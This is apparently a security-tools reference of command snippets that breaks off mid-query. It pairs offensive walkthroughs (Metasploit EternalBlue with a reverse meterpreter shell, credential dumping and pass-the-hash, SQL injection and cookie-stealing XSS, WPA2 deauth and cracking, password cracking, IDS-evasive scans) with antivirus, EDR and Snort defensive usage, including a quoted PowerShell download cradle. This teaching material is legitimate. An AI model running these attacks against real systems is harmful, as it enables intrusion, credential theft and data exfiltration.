# ── STEP 1: Verify Kali version and update all tools ────────────────────────
uname -r && cat /etc/os-release | grep PRETTY_NAME
sudo apt update && sudo apt full-upgrade -y

# ── STEP 2: Configure network interface ─────────────────────────────────────
ip a                          # list all interfaces
sudo ip link set eth0 up      # bring interface up
sudo dhclient eth0            # request DHCP lease
ip route show                 # verify default gateway

# ── STEP 3: Identify live hosts on the target /24 subnet ────────────────────
sudo netdiscover -r 10.10.10.0/24 -i eth0

# Also using nmap ping sweep:
sudo nmap -sn 10.10.10.0/24 -oG hosts_alive.txt
grep 'Up' hosts_alive.txt | awk '{print $2}' > live_hosts.txt

# ── STEP 4: Full service version + OS fingerprint scan ──────────────────────
sudo nmap -sV -sC -O -T4 --open -p- \
  -iL live_hosts.txt -oA /root/assessment/full_scan

# ── STEP 5: Launch Metasploit for exploitation phase ────────────────────────
msfdb init && msfconsole -q

# ── STEP 6: Persist results to encrypted USB partition ──────────────────────
# Kali persistence partition is mounted at /mnt/usb-persist
cp -r /root/assessment /mnt/usb-persist/

# ── STEP 1: Start Metasploit and initialise database ────────────────────────
msfdb start && msfconsole -q

# ── STEP 2: Search for and load the EternalBlue module ──────────────────────
msf6 > search eternalblue type:exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# ── STEP 3: Configure target and payload ────────────────────────────────────
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > check    # verify target is vulnerable

# ── STEP 4: Execute exploit and interact with session ───────────────────────
msf6 exploit(ms17_010_eternalblue) > exploit
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.50:49218)
meterpreter > getuid          # -> Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo         # target OS, hostname, domain

# ── STEP 5: Post-exploitation — credential dumping ──────────────────────────
meterpreter > hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > load kiwi
meterpreter > creds_all        # dump plaintext, NTLM, Kerberos tickets

# ── STEP 6: Add route and pivot to internal DB server ───────────────────────
meterpreter > run post/multi/manage/autoroute SUBNET=10.20.0.0/24 ACTION=ADD
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.20.0.0/24 && set PORTS 1433,3306,5432
msf6 auxiliary(tcp) > run

# ── STEP 7: Escalate to DC via pass-the-hash ────────────────────────────────
msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > set RHOSTS 10.20.0.5    # Domain Controller

# ── SETUP: Configure browser to proxy through Burp (127.0.0.1:8080) ─────────
# Install Burp CA certificate in browser to intercept HTTPS

# ── STEP 1: Intercept login POST request ────────────────────────────────────
POST /api/login HTTP/1.1
Host: app.target.com
Content-Type: application/json
{"username":"admin","password":"password"}

# ── STEP 2: Send to Repeater; inject SQL in username field ──────────────────
{"username":"admin'--","password":"anything"}
# If response = 200 OK with auth token => Boolean SQLi confirmed

# ── STEP 3: Union-based data extraction via Repeater ────────────────────────
{"username":"' UNION SELECT username,password,email FROM users--",
 "password":"x"}
# Response leaks all user records from the users table

# ── STEP 4: Test stored XSS in profile bio field ────────────────────────────
PUT /api/profile/bio HTTP/1.1
Authorization: Bearer eyJhbGciOi...
{"bio":"<script>fetch('https://burpcollaborator.net/x?c='+document.cookie)</script>"}

# ── STEP 5: Confirm stored XSS fires via Collaborator ───────────────────────
# Burp Collaborator > Poll now
# Interaction received: DNS + HTTP from victim browser
# Cookie: session=eyJhbGciOiJIUzI1NiJ9...

# ── STEP 6: Run active scanner on all discovered endpoints ───────────────────
# Target > Site map > right-click app.target.com > Scan
# Scan type: Audit only | Configuration: Audit checks - critical issues only

# ── STEP 7: Intruder — enumerate hidden API endpoints ───────────────────────
GET /api/§endpoint§/details HTTP/1.1
# Payload type: Simple list | Payload: common-api-endpoints.txt
# Match condition: Status code != 404

# ── STEP 1: Capture on specific interface with BPF pre-filter ───────────────
sudo tshark -i eth0 -w /tmp/corp_capture.pcap \
  'tcp port 21 or tcp port 80 or tcp port 110 or tcp port 143'

# ── STEP 2: Open in Wireshark GUI; apply display filters ────────────────────
# Show all FTP control commands (USER / PASS visible in clear)
ftp.request.command == "USER" or ftp.request.command == "PASS"
# Show HTTP Basic Auth headers
http.authorization
# Show Telnet sessions (all cleartext)
telnet
# Show NTLM hashes in SMB authentication
ntlmssp.auth.username

# ── STEP 3: Automated extraction via tshark ──────────────────────────────────
# Extract FTP passwords
tshark -r corp_capture.pcap \
  -Y 'ftp.request.command=="PASS"' \
  -T fields -e ftp.request.arg

# Extract HTTP Basic Auth (base64 decode inline)
tshark -r corp_capture.pcap \
  -Y 'http.authorization' \
  -T fields -e http.authorization | \
  sed 's/Basic //' | base64 -d

# ── STEP 4: Reconstruct full FTP session ────────────────────────────────────
# Wireshark GUI: right-click FTP packet > Follow > TCP Stream
# Reveals: full command exchange including USER, PASS, and transferred files

# ── STEP 5: TLS decryption (with SSLKEYLOGFILE from browser) ────────────────
# Set SSLKEYLOGFILE=/tmp/tls_keys.log in browser environment
# Wireshark: Edit > Preferences > Protocols > TLS > (Pre)-Master-Secret log
# Point to /tmp/tls_keys.log — HTTPS sessions now decrypted

# ── STEP 1: Fast host discovery (ping sweep, no port scan) ──────────────────
sudo nmap -sn 10.10.10.0/24 -oG /tmp/hosts_up.txt
grep 'Up' /tmp/hosts_up.txt | awk '{print $2}' > /tmp/live.txt

# ── STEP 2: Full TCP port scan with service + OS detection ──────────────────
sudo nmap -sV -sC -O -p- -T4 --open \
  -iL /tmp/live.txt -oA /root/nmap/full_tcp
# -sV: version detection   -sC: default scripts   -O: OS detection
# -p-: all 65535 ports     --open: only show open ports

# ── STEP 3: UDP scan on top-200 high-value UDP ports ────────────────────────
sudo nmap -sU --top-ports 200 -iL /tmp/live.txt -oA /root/nmap/udp_top200

# ── STEP 4: NSE vulnerability detection ─────────────────────────────────────
# Check all Windows hosts for EternalBlue (MS17-010)
sudo nmap -p 445 --script smb-vuln-ms17-010 \
  -iL /tmp/live.txt -oA /root/nmap/eternalblue

# Check for BlueKeep (CVE-2019-0708) on RDP
sudo nmap -p 3389 --script rdp-vuln-ms12-020 \
  -iL /tmp/live.txt

# Check HTTP services for common vulnerabilities
sudo nmap -p 80,443,8080,8443 \
  --script http-title,http-headers,http-methods,http-shellshock \
  -iL /tmp/live.txt -oA /root/nmap/web_scan

# ── STEP 5: SMB enumeration on Windows hosts ────────────────────────────────
sudo nmap -p 445 \
  --script smb-enum-shares,smb-enum-users,smb-os-discovery \
  -iL /tmp/live.txt

# ── STEP 6: Stealth SYN scan evading basic IDS ──────────────────────────────
sudo nmap -sS -T2 -f --data-length 25 -D RND:10 \
  -p 22,80,443,445,3389 10.10.10.50
# -f: fragment packets   -D RND:10: add 10 decoy IPs   -T2: polite timing

# ── STEP 1: Enable monitor mode; kill interfering processes ─────────────────
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface renamed to wlan0mon (or wlan0 in newer kernels)

# ── STEP 2: Scan for nearby APs and identify target ─────────────────────────
sudo airodump-ng wlan0mon
# Identify target:
# BSSID: AA:BB:CC:DD:EE:FF  |  CH: 6  |  ENC: WPA2  |  ESSID: CorpWiFi

# ── STEP 3: Focus capture on target AP ──────────────────────────────────────
sudo airodump-ng -c 6 \
  --bssid AA:BB:CC:DD:EE:FF \
  -w /tmp/wpa2_capture wlan0mon
# Leave running — waiting for WPA handshake in top-right corner

# ── STEP 4: Deauth a client to force handshake capture ──────────────────────
# (open a new terminal)
sudo aireplay-ng -0 5 \
  -a AA:BB:CC:DD:EE:FF \
  -c 11:22:33:44:55:66 \
  wlan0mon
# -0 5 = send 5 deauth frames to client 11:22:33:44:55:66
# airodump-ng window shows: WPA handshake: AA:BB:CC:DD:EE:FF

# ── STEP 5: Dictionary attack with aircrack-ng ──────────────────────────────
aircrack-ng /tmp/wpa2_capture-01.cap \
  -w /usr/share/wordlists/rockyou.txt

# ── STEP 6: GPU cracking with Hashcat (dramatically faster) ─────────────────
# Convert capture to Hashcat format
hcxpcapngtool -o /tmp/hash.hc22000 /tmp/wpa2_capture-01.cap

# Crack with Hashcat using rules for complexity
hashcat -m 22000 /tmp/hash.hc22000 \
  /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule
# Result: CorpWiFi:Summer2024!

# ── STEP 1: Start GVM services and access web UI ────────────────────────────
sudo gvm-start
# Web UI: https://127.0.0.1:9392  (admin / [generated password])

# ── STEP 2: Update NVT and SCAP/CERT feeds ──────────────────────────────────
sudo greenbone-nvt-sync
sudo greenbone-feed-sync --type GVMD_DATA
sudo greenbone-feed-sync --type SCAP
sudo greenbone-feed-sync --type CERT

# ── STEP 3: Create scan target via gvm-cli (CLI alternative) ─────────────────
gvm-cli --gmp-username admin --gmp-password admin socket \
  --xml '
           DMZ_Q4_2024
           10.20.30.0/24
           T:1-65535,U:1-2000
         '

# ── STEP 4: Create scan with Full and Fast policy + SSH creds ────────────────
# GSM GUI: Scans > Tasks > New Task
# Scan Config: Full and Fast
# Target: DMZ_Q4_2024
# Credentials: SSH (username: scanner, key: /home/scanner/.ssh/id_rsa)
# Schedule: Run Now

# ── STEP 5: Monitor scan progress ────────────────────────────────────────────
gvm-cli socket --xml '<get_tasks/>' | xmllint --xpath \
  "//task[name='DMZ_Q4_2024']/status/text()" -

# ── STEP 6: Export results as PDF report (web UI) ────────────────────────────
# Reports > All Reports > Latest scan > Download as PDF
# Filter: Severity >= High  |  Report Format: PCI DSS

# ── STEP 7: Parse XML results programmatically ───────────────────────────────
gvm-cli socket --xml '<get_reports filter="levels=hml"/>' \
  | xmllint --xpath '//result/nvt/name/text()' - | sort | uniq -c | sort -rn

# ── STEP 1: Basic scan with SSL against port 443 ────────────────────────────
nikto -h shop.example.com -ssl -port 443

# ── STEP 2: Scan through Burp Suite proxy for session logging ────────────────
nikto -h shop.example.com -ssl -port 443 \
  -useproxy http://127.0.0.1:8080

# ── STEP 3: Authenticated scan (HTTP Basic Auth) ─────────────────────────────
nikto -h shop.example.com -ssl -port 443 \
  -id admin:StoreAdmin2024

# ── STEP 4: Extended scan with IDS evasion mode 1 ───────────────────────────
nikto -h shop.example.com -ssl -port 443 \
  -evasion 1 -output nikto_results.html -Format html
# Evasion 1: Random URI encoding of special characters

# ── STEP 5: Full tuning to check all vulnerability categories ────────────────
nikto -h shop.example.com -ssl -port 443 \
  -Tuning 123456789x \
  -output nikto_full.xml -Format xml
# Tuning flags: 1=Interesting, 2=Misconfiguration, 3=Info disclosure
#               4=Injection, 5=Remote file retrieval, 6=Denial of service
#               7=Remote file retrieval (server-side), 8=Command exec
#               9=SQL injection, x=Reverse tuning (all except selected)

# ── STEP 6: Scan multiple targets from file ──────────────────────────────────
nikto -h targets.txt -ssl -port 443 \
  -output /tmp/multi_nikto.csv -Format csv

# ── SAMPLE OUTPUT FINDINGS ───────────────────────────────────────────────────
+ /backup/db_export.sql: Database dump file found — CRITICAL
+ Server: Apache/2.2.34 — End of Life (CVE range: multiple critical)
+ TRACE method enabled — Cross-Site Tracing (XST) attack possible
+ /phpinfo.php: PHP configuration page exposed — information disclosure
+ X-Frame-Options header not present — Clickjacking attack possible
+ /admin/: Admin panel accessible — requires authentication bypass testing

# ── CI/CD OPTION 1: GitHub Actions — ZAP baseline scan ──────────────────────
# .github/workflows/zap-dast.yml
name: ZAP DAST Security Scan
on:
  pull_request:
    branches: [ main ]
jobs:
  zap_scan:
    runs-on: ubuntu-latest
    steps:
      - name: ZAP Scan
        uses: zaproxy/action-full-scan@v0.9.0
        with:
          target: 'https://staging.myapp.internal'
          rules_file_name: '.zap/rules.tsv'
          fail_action: true
          artifact_name: 'zap-scan-report'

# ── CI/CD OPTION 2: Docker ZAP with full active scan ────────────────────────
docker run --rm -v $(pwd):/zap/wrk/:rw \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-full-scan.py \
  -t https://staging.myapp.internal \
  -r zap_report.html \
  -J zap_report.json \
  -x zap_report.xml \
  -l WARN --auto -I

# ── MANUAL: API-driven scan in Python ────────────────────────────────────────
from zapv2 import ZAPv2
import time

target = 'https://staging.myapp.internal'
zap = ZAPv2(apikey='zapApiKey123',
            proxies={'http': 'http://localhost:8080',
                     'https': 'http://localhost:8080'})

print('Spidering target...')
scan_id = zap.spider.scan(target)
while int(zap.spider.status(scan_id)) < 100:
    time.sleep(2)

print('Active scanning...')
ascan_id = zap.ascan.scan(target)
while int(zap.ascan.status(ascan_id)) < 100:
    time.sleep(5)

alerts = zap.core.alerts(baseurl=target)
high_risk = [a for a in alerts if a['risk'] in ['High', 'Critical']]
print(f'High/Critical findings: {len(high_risk)}')
if high_risk:
    raise SystemExit('PIPELINE FAIL: High-risk vulnerabilities detected')

# ── LINUX: Combine passwd and shadow, identify hash format ──────────────────
unshadow /etc/passwd /etc/shadow > /tmp/linux_combined.txt
head -3 /tmp/linux_combined.txt
# sysadmin:$6$rounds=5000$saltvalue$LongSHA512HashHere...:1001:...
# $6$ = SHA-512 crypt (default Ubuntu 22.04)

# ── STEP 1: Dictionary attack with rockyou.txt ───────────────────────────────
john --wordlist=/usr/share/wordlists/rockyou.txt \
     /tmp/linux_combined.txt

# ── STEP 2: Apply mangling rules to extend wordlist coverage ─────────────────
john --wordlist=/usr/share/wordlists/rockyou.txt \
     --rules=best64 \
     /tmp/linux_combined.txt

# ── STEP 3: Show all cracked passwords ───────────────────────────────────────
john --show /tmp/linux_combined.txt
# sysadmin:Summer2023!:1001:...
# dbadmin:Password1:1002:...

# ── WINDOWS: Crack NTLM hashes from secretsdump output ──────────────────────
# secretsdump.py output format: username:RID:LM:NTLM:::
john --format=NT \
     --wordlist=/usr/share/wordlists/rockyou.txt \
     /tmp/ntlm_hashes.txt

# ── STEP 4: Crack SSH private key passphrase ─────────────────────────────────
ssh2john /tmp/id_rsa_stolen > /tmp/id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_rsa.hash

# ── STEP 5: Kerberoasting — crack TGS service ticket hash ────────────────────
# (After running GetUserSPNs.py to extract TGS hashes)
john --format=krb5tgs \
     --wordlist=/usr/share/wordlists/rockyou.txt \
     /tmp/tgs_hashes.txt

# ── STEP 6: Incremental brute-force (4-character PINs) ───────────────────────
john --incremental=Digits --min-length=4 --max-length=4 \
     /tmp/linux_combined.txt

# ── Norton 360 deployment and CLI operations (Windows) ──────────────────────
# Silent enterprise install via MSI
msiexec /i N360Setup.msi /quiet /norestart \
  LICENSEKEY="XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"

# Norton Power Eraser — aggressive rootkit/PUP scan
NPE.exe /NORESTART /LOG:C:\Logs\NPE_scan.log

# Force virus definition update from command line
NortonCommandLineScanner.exe /UPDATE

# Manual full-system scan with logging
NortonCommandLineScanner.exe /SCAN:C:\ /LOG:C:\Logs\NortonScan.log

# Verify VPN auto-connect on untrusted network setting:
# Norton 360 > Secure VPN > Settings > Auto-Connect: ON
# Trusted networks: [Corporate office Wi-Fi SSID]

# ── Norton 360 protection events (what occurs in scenario) ───────────────────
# EVENT 1: Hotel Wi-Fi detected as untrusted network
#   Action: Secure VPN auto-activates, all traffic encrypted
# EVENT 2: Phishing email opened; .docm attachment downloaded
#   Norton intercepts macro execution via SONAR
#   Alert: 'Suspicious behaviour blocked: OFFICE.MACRO.DROPPER.GEN'
#   Action: Process terminated; file quarantined
# EVENT 3: PUP bundled with PDF reader installer
#   Norton Auto-Protect detects adware toolbar install attempt
#   Alert: 'Potentially Unwanted Program blocked: ADWARE.TOOLBAR.GEN'
#   Action: Installation blocked before registry modification

# ── GravityZone deployment — silent agent install via package ────────────────
setupdownloader.exe --downloadpackage [PackageToken] --silent

# ── GravityZone API: query recent threats (last 24h) ─────────────────────────
curl -s -u 'apiKey:' -X POST \
  'https://cloud.gravityzone.bitdefender.com/api/v1.0/jsonrpc/network' \
  -H 'Content-Type: application/json' \
  -d '{
    "id": "1",
    "jsonrpc": "2.0",
    "method": "getQuarantineItemsList",
    "params": {
      "filters": {
        "type": "malware",
        "startTime": "2024-05-16T00:00:00Z",
        "endTime": "2024-05-17T23:59:59Z"
      }
    }
  }'

# ── Protection event timeline for the scenario ────────────────────────────────
# T+00:00s  Employee downloads 'Invoice_2024.docm' via phishing URL
#   Anti-Phishing: URL blocked as malicious category
#   (employee bypasses via incognito browser — URL was new enough)
# T+00:03s  Macro attempts to execute PowerShell download cradle
#   ATD (Advanced Threat Defense): Office process observed
#   Spawning PowerShell with suspicious base64 argument
#   Action: PowerShell process killed; .docm quarantined
#   Alert: 'Trojan.Emotet.GenericMB detected and blocked'
# T+00:05s  Secondary dropper attempt via registry run key
#   Behavioural monitoring detects registry persistence write
#   Action: Registry change blocked; process terminated
# GravityZone console shows: 3 threat events | Status: Blocked

# ── McAfee Agent silent deployment via ePO ───────────────────────────────────
FrameworkService.exe /install /silent /norestart \
  /siteinfo=SiteName /port=8443

# ── ePolicy Orchestrator REST API — endpoint compliance query ────────────────
curl -k -u 'admin:P@ssword!' \
  'https://epo.corp.local:8443/remote/core.executeQuery?
  target=EPOLeafNode&
  select=(EPOLeafNode.NodeName,EPOComputerProperties.OSType,
  EPOComputerProperties.DatDate)&
  where=(EPOComputerProperties.DatDate+lt+"2024-05-10")'

# ── USB Device Control policy enforcement ────────────────────────────────────
# ePO Console > Policy Catalog > McAfee Device Control > New Policy
# Rule: Block Class = USB Storage Devices
# Exception: Allow USB devices with specific VID/PID (corporate encrypted drives)
# Assignment: All Windows Endpoints group

# ── Push definitions update to all managed endpoints ─────────────────────────
curl -k -u 'admin:P@ssword!' \
  'https://epo.corp.local:8443/remote/scheduler.runTask?
  taskName=McAfee+Agent+Wake-Up&
  filter=EPOComputerProperties.OSType+eq+"Windows"'

# ── Query endpoints missing Critical patches ──────────────────────────────────
curl -k -u 'admin:P@ssword!' \
  'https://epo.corp.local:8443/remote/core.executeQuery?
  target=EPOMcAfeePatches&
  select=(EPOLeafNode.NodeName,EPOMcAfeePatches.PatchName,
  EPOMcAfeePatches.Severity)&
  where=(EPOMcAfeePatches.Severity+eq+"Critical"+AND+
  EPOMcAfeePatches.IsInstalled+eq+false)'

# ── Generate executive compliance summary report ──────────────────────────────
# ePO Console > Reporting > New Report > Template: Executive Summary
# Sections: Infection Activity | Policy Compliance | Unmanaged Nodes

# ── Avast One Wi-Fi Inspector findings (representative output) ───────────────
# Triggered by: Manual scan (Avast One > Explore > Wi-Fi Inspector)
# Or: Automatic scan on network join

# ── FINDING 1: ARP Cache Poisoning Detected (Critical) ───────────────────────
Device: 192.168.1.105 (Attacker laptop)
Issue:  ARP reply from 192.168.1.105 claiming MAC AA:BB:CC:DD:EE:FF
        which is the MAC of your router (192.168.1.1)
Risk:   All network traffic may be intercepted by 192.168.1.105
Action recommended: Disconnect from this network immediately
Avast action: Secure VPN auto-activated

# ── FINDING 2: Router uses default credentials ────────────────────────────────
Device: Router (192.168.1.1 — ASUS RT-AX88U)
Issue:  Admin panel accessible with default credentials admin/admin
Risk:   Anyone on the network can reconfigure your router
Action recommended: Change router admin password immediately

# ── FINDING 3: UPnP enabled — external exploit possible ─────────────────────
Device: Router (192.168.1.1)
Issue:  UPnP service accessible from WAN side (CVE-2020-12695 — CallStranger)
Risk:   Attacker can use router as SSRF pivot or DDoS amplifier
Action recommended: Disable UPnP in router settings

# ── Verify VPN activation (Avast One app) ────────────────────────────────────
# Avast One > Secure Line VPN > Status: Connected
# Location: Nearest server | IP: 85.239.x.x (masked)
# All traffic now encrypted through Avast VPN tunnel

# ── Kaspersky Total Security CLI operations (Windows) ────────────────────────
# Full system scan from command line
avp.com SCAN /ALL /i0 /fa /REPORT:C:\Logs\KSP_scan.txt
# /ALL = all objects   /i0 = skip on errors   /fa = scan all files

# Force definition update
avp.com UPDATE

# Enable Safe Money protection for specific URL
# Kaspersky > Settings > Protection > Safe Money > Manage Websites
# Add: https://onlinebanking.mybank.com
# Action: Run browser in Protected Mode

# ── Safe Money protection mechanisms (active during session) ─────────────────

# 1. PROCESS ISOLATION
#    Browser opens in separate protected process with memory isolation
#    Other processes cannot read browser memory (prevents form grabbing)

# 2. KEYSTROKE PROTECTION
#    Keystrokes encrypted at kernel driver level before user-mode delivery
#    Keylogger captures encrypted garbage, not actual keystrokes
#    On-screen keyboard option available for additional protection

# 3. SCREEN CAPTURE PROTECTION
#    Screenshot and screen-recording APIs return blank/black image
#    when Safe Money browser is the active window

# 4. TLS CERTIFICATE VALIDATION
#    Safe Money validates SSL cert against Kaspersky's known-good store
#    Warning shown if certificate is unexpected (MITM detection)

# 5. VIRTUAL KEYBOARD (optional)
#    On-screen keyboard for mouse-click-only password entry
#    Prevents both hardware and software keylogging

# ── Attack vector (test environment only) ────────────────────────────────────
# Macro in phishing .docm drops the following command:
# powershell -WindowStyle Hidden -EncodedCommand
# SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYg...
# Decoded: IEX(New-Object Net.WebClient).DownloadString('http://192.168.99.1/payload.ps1')

# ── Trend Micro detection and response timeline ───────────────────────────────
# T+00.0s: Macro execution begins in WINWORD.EXE
#   Trend Micro Script Analyser: Office process spawning PowerShell
#   Behavioural rule fired: 'SCRIPT_OFFICE_SPAWN_POWERSHELL'
# T+00.1s: PowerShell launches with -EncodedCommand flag
#   Detection: TROJ_POWLOAD.AUSXF
#   Action: PowerShell process immediately terminated
#   Alert: 'Fileless threat blocked: Suspicious PowerShell download cradle'
# T+00.2s: Trend Micro logs the incident

# Log entry example:
Threat:          TROJ_POWLOAD.AUSXF
Detection Type:  Behavioural (Fileless)
Process:         powershell.exe (PID 7834) parent WINWORD.EXE (PID 4120)
Action:          Process terminated
Payload URL blocked: http://192.168.99.1/payload.ps1 [Reputation: Malicious]

# ── Trend Micro Apex One API: query recent detections ────────────────────────
curl -H 'Authorization: Bearer [API_TOKEN]' \
  'https://apexcentral.trendmicro.com/WebApp/API/
   SuspiciousObjectV1/SuspiciousObjects?type=url&limit=20'

# ── ESET NOD32 CLI scanner (ecls) operations ─────────────────────────────────
# Full system scan with quarantine action and report
ecls /subdir /quarantine /log-file=C:\Logs\eset_scan.txt \
     /log-rewrite /unsafe /clean-mode=standard C:\

# Scan specific directory (e.g., Downloads)
ecls /subdir /log-file=C:\Logs\downloads_scan.txt \
     C:\Users\user\Downloads

# Update virus signatures from command line
egui /update

# ── Advanced Memory Scanner detection workflow ────────────────────────────────
# T+0.0s: User opens malicious PDF (infected_invoice.pdf)
#   ESET static scan: No signature match (file is newly packed)
#   LiveGrid: No cloud record (sample submitted — under analysis)
# T+0.3s: PDF reader spawns embedded JavaScript engine
#   Exploit Blocker: No exploit technique detected yet
# T+0.7s: Malware unpacks first layer (XOR decode in memory)
#   Advanced Memory Scanner: Begins monitoring heap allocations
# T+1.1s: Malware unpacks second layer (PE executable in memory)
#   AMS: Executable code pattern detected in heap memory of Acrobat.exe
#   Action: Suspicious memory region scanned
#   Match: Win32/Filecoder.QR (Ransomware family) — 98.7% AMS match

ESET Alert: ADVANCED MEMORY SCANNER DETECTED THREAT
Process:  AcroRd32.exe (PID 5512)
Threat:   Win32/Filecoder.QR
Method:   Memory scan (post-unpack detection)
Action:   Process terminated; memory threat logged; PDF quarantined

# ── Sophos Central REST API — incident investigation and response ─────────────
# Step 1 — Authenticate and get access token
TOKEN=$(curl -s -X POST 'https://id.sophos.com/api/v2/oauth2/token' \
  -d 'grant_type=client_credentials&client_id=CLIENT_ID
      &client_secret=CLIENT_SECRET&scope=token' \
  | jq -r '.access_token')

TENANT=$(curl -s 'https://api.central.sophos.com/whoami/v1' \
  -H "Authorization: Bearer $TOKEN" | jq -r '.id')

# Step 2 — List endpoints with active threats (Red heartbeat)
curl -s \
  'https://api.central.sophos.com/endpoint/v1/endpoints?
  healthStatus=bad&fields=hostname,ipAddresses,health' \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-Tenant-ID: $TENANT"

# Step 3 — Retrieve Root Cause Analysis for alert
curl -s \
  "https://api.central.sophos.com/endpoint/v1/alerts/$ALERT_UUID/details" \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-Tenant-ID: $TENANT"

# Step 4 — Network-isolate the compromised endpoint
curl -s -X POST \
  "https://api.central.sophos.com/endpoint/v1/endpoints/$ENDPOINT_UUID/isolate" \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-Tenant-ID: $TENANT"

# Step 5 — Trigger full disk scan
curl -s -X POST \
  "https://api.central.sophos.com/endpoint/v1/endpoints/$ENDPOINT_UUID/scans" \
  -H "Authorization: Bearer $TOKEN" \
  -H "X-Tenant-ID: $TENANT"

# ── CrowdStrike Falcon API (Python SDK — falconpy) ────────────────────────────
from falconpy import Hosts, RealTimeResponse, Detects

# Authenticate
hosts = Hosts(client_id='CLIENT_ID', client_secret='CLIENT_SECRET')
rtr   = RealTimeResponse(client_id='CLIENT_ID', client_secret='CLIENT_SECRET')

# Step 1 — Find endpoint involved in detection
response = hosts.query_devices_by_filter(
    filter="hostname:'CORP-LAPTOP-042'",
    limit=1
)
device_id = response['body']['resources'][0]

# Step 2 — Initiate Real-Time Response session
session = rtr.init_session(device_id=device_id,
                           origin='SOC-Investigation-INC-2024-0517')
session_id = session['body']['resources'][0]['session_id']

# Step 3 — Run investigation commands on live endpoint
# List running processes
rtr.run_command(session_id=session_id,
    command_string='ps',
    base_command='ps')

# Check LSASS process status
rtr.run_admin_command(session_id=session_id,
    command_string='netstat -an | findstr ESTABLISHED')

# Download suspicious file from endpoint
rtr.run_command(session_id=session_id,
    command_string='get C:\\Temp\\mimikatz64.exe')

# Step 4 — Contain the host (network isolation)
hosts.perform_action(action_name='contain', ids=[device_id])

# Step 5 — Verify containment
status = hosts.get_device_details(ids=[device_id])
print(status['body']['resources'][0]['status'])  # -> 'contained'

# ── SEPM REST API — endpoint policy and threat management ────────────────────
# Step 1 — Authenticate to SEPM API
curl -k -s -X POST \
  'https://sepm.corp.local:8446/sepm/api/v1/identity/authenticate' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"SEPMAdmin2024!"}'
# Response: {"token":"Bearer TOKEN", "tokenExpiry":3600}

# Step 2 — Create application whitelist policy
# SEPM Console > Policies > Application and Device Control > New Policy
# Mode: Test (log only) initially, then switch to Block after tuning
#
# Allowed: C:\Program Files\FinApp\*.exe (SHA-256 hash list)
# Allowed: C:\Windows\System32\*.exe (signed by Microsoft — publisher rule)
# Allowed: C:\Program Files\Common Files\*.dll
# Block ALL others: 'Application not on whitelist — block and log'

# Step 3 — Assign whitelist policy to Financial Servers group
curl -k -s -X PUT \
  'https://sepm.corp.local:8446/sepm/api/v1/groups/GROUP_ID/policies' \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '[{"policyId":"POLICY_UUID","policyType":"app_and_device_control"}]'

# Step 4 — Query application control violation log
curl -k -s \
  'https://sepm.corp.local:8446/sepm/api/v1/computer-status/
  appcontrol/violations?lastUpdated=2024-05-17T00:00:00' \
  -H 'Authorization: Bearer TOKEN'

# Step 5 — Ransomware dropper blocked (log entry example)
# {
#   'hostname': 'FIN-SERVER-07',
#   'application': 'C:\Users\svc_backup\AppData\Roaming\updater.exe',
#   'sha256': 'a1b2c3d4...', 'action': 'Blocked',
#   'rule': 'Application not on approved list',
#   'timestamp': '2024-05-17T14:23:07Z'
# }

# ── Snort 3 configuration (/etc/snort/snort.lua) key sections ────────────────
ips = {
  enable_builtin_rules = true,
  mode = 'inline',           -- IPS mode: drop malicious packets
  rules = [[
    include /etc/snort/rules/local.rules
    include /etc/snort/rules/snort3-community.rules
    include /etc/snort/rules/snort-subscriber.rules
  ]]
}
network = { checksum_eval = 'all' }
alert_fast = { file = true, packet = false, limit = 10 }
unified2 = { filename = 'snort.u2', limit = 512 }

# ── Custom local rule — detect SQL injection (Union Select) ───────────────────
# File: /etc/snort/rules/local.rules
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (
  msg:"SQL Injection Attempt - UNION SELECT";
  flow:to_server,established;
  http_uri;
  content:"UNION",nocase;
  content:"SELECT",nocase,distance:0;
  pcre:"/UNION\s+ALL\s+SELECT|UNION\s+SELECT/i";
  classtype:web-application-attack;
  priority:1;
  sid:9000001; rev:3;
)

drop http any any -> $HTTP_SERVERS $HTTP_PORTS (
  msg:"SQL Injection BLOCKED - UNION SELECT";
  flow:to_server,established;
  http_uri;
  content:"UNION",nocase;
  content:"SELECT",nocase,distance:0;
  pcre:"/UNION\s+SELECT/i";
  classtype:web-application-attack;
  sid:9000002; rev:1;
)

# ── Start Snort 3 in IPS inline mode on eth0 ─────────────────────────────────
snort -c /etc/snort/snort.lua -i eth0 \
  -A alert_fast --daq-dir /usr/lib/daq \
  --daq nfq --daq-var queue=0 -Q

# ── Configure NetFlow export on Cisco router ──────────────────────────────────
ip flow-export version 9
ip flow-export destination 10.0.0.100 2055   # SolarWinds NTA IP
ip flow-cache timeout active 1
ip flow-cache timeout inactive 15
!
interface GigabitEthernet0/0
 ip flow ingress
 ip flow egress

# ── SWQL query: Detect large external data transfers (last 2h) ────────────────
SELECT TOP 20
  N.Caption                        AS HostName,
  F.SourceIPAddress                AS SourceIP,
  F.DestIPAddress                  AS DestinationIP,
  F.DestPort                       AS Port,
